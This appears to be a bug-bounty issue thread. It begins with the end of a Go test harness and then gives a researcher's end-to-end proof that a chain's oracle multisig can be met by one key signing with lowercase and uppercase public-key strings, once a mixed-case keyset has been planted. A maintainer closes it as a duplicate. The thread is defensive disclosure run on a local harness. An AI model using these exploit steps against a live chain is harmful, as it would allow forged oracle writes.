		plant2 := buildBlock(t, 1, g2.Hash, 100, []statechain.Op{oracleOp(t, []string{kPub, k2Pub}, 2)})
		plant2.Signatures = []statechain.BlockSignature{sign(t, plant2, d1Priv), sign(t, plant2, d2Priv)}
		if err := ch2.AddBlock(plant2); err != nil {
			t.Fatalf("honest plant rejected: %v", err)
		}
		blk := buildBlock(t, 2, plant2.Hash, 200, []statechain.Op{epochOp(t, "epoch.1")})
		blk.Signatures = []statechain.BlockSignature{sign(t, blk, kPriv), sign(t, blk, k2Priv)}
		if err := ch2.AddBlock(blk); err != nil {
			t.Fatalf("honest 2-of-2 epoch block rejected: %v", err)
		}
		fmt.Println("honest keyset [K, K2] 2-of-2: epoch block with both distinct keys => ACCEPTED (baseline intact)")
	})
}

</details>

RahmaMaria2026-11-13 13:45 UTCgithub

Supplementary proof: the sys.oracle instance, executed end to end

This completes the report. In the original issue I proved the sys.dao_keyset instance; the sys.oracle instance was argued by code shape only. I have now executed it end to end, twice, with fresh random keys each time — and I also independently reproduced @ariyanto18's supplementary proof, which checks out.

Setup: repo at HEAD 89a542e (release: testnet-0005 quorum withhold fix), Go 1.25, local harness only (GenerateTestGenesis, in-memory store, self-made keys). No live testnet traffic, no live keys, no live DAO interaction.

Mechanism (read before running):

  • statechain/kvstore.go:136-163 — validateSysKeyValue, case "sys.oracle": the duplicate check is seen[k] on the raw key string, so [K, UPPER(K)] passes validation.
  • statechain/chain.go:184-201 — AddBlock oracle branch: if an oracle config exists and all ops match AllowedPrefix, the block must pass validateEpochValue + write-once, then verifyOracleMultisig.
  • statechain/chain.go:361-395 — verifyOracleMultisig: keysetMap and seen are keyed on raw sig.PublicKey strings; signature verification goes through VerifyHexSignature → hex.DecodeString (case-insensitive). Two signatures from one private key — one with a lowercase public_key, one uppercase — are distinct raw strings, both in the keyset map, and both verify (identical sig bytes).

Results — run 1 (run 2 identical, fresh random keys):

  • TEST 1 plant ACCEPTED: DAO-signed block (2 current DAO keys) sets sys.oracle = [K, UPPER(K)], threshold 2, allowed_prefix: "oracle.".
  • TEST 2 exploit ACCEPTED: one private key satisfies oracle 2-of-2 by signing once with lowercase public_key and once uppercase (identical sig bytes); oracle.epoch.1 stored.
  • TEST 3 control: same-case duplicate [K, K] rejected (oracle key[1] is a duplicate).
  • TEST 4 control: K + old DAO key D1 rejected (signer … not in oracle keyset).
  • TEST 5 control: exact duplicate signer rejected (duplicate signer).
  • TEST 6 disproof attempt: DAO-signed block mixing a DAO op with an oracle-prefixed op rejected (DAO block cannot write to oracle prefix) — so the exploit genuinely goes through verifyOracleMultisig, not a DAO shortcut.

One honest note on my own harness: my very first attempt failed at TEST 2 because my epoch value omitted r_source — the chain correctly rejected the malformed value (epoch r_source must be 'volume', 'price_floor', 'tied', or 'collusion'). Fixed with r_source: "tied" and all-zero volumes; after that both runs pass end to end. The failure was in my test value, not in the chain.

Caveat, stated plainly: this confirms the mechanism — one key = oracle 2-of-2 once a mixed-case oracle config is planted. Planting still needs the current DAO threshold (2-of-3 on testnet-0005); a single oracle key holder cannot plant it alone, and a single DAO member cannot plant it alone. Same gating nuance as the original H1: High, not Critical.

Thanks to @ariyanto18 for the independent confirmation — I reproduced the same end-to-end oracle-path execution he described, and it holds up.

Joseph Denneteam2026-11-20 00:04 UTCgithub

Thanks. This is the same finding as https://bounty.xe.network/XE-0001, which was filed first; the programme pays the first verifiable submission, so this one closes as a duplicate. If you believe it is a different bug, file a new report that links https://bounty.xe.network/XE-13390 and says what differs; it is read like any other.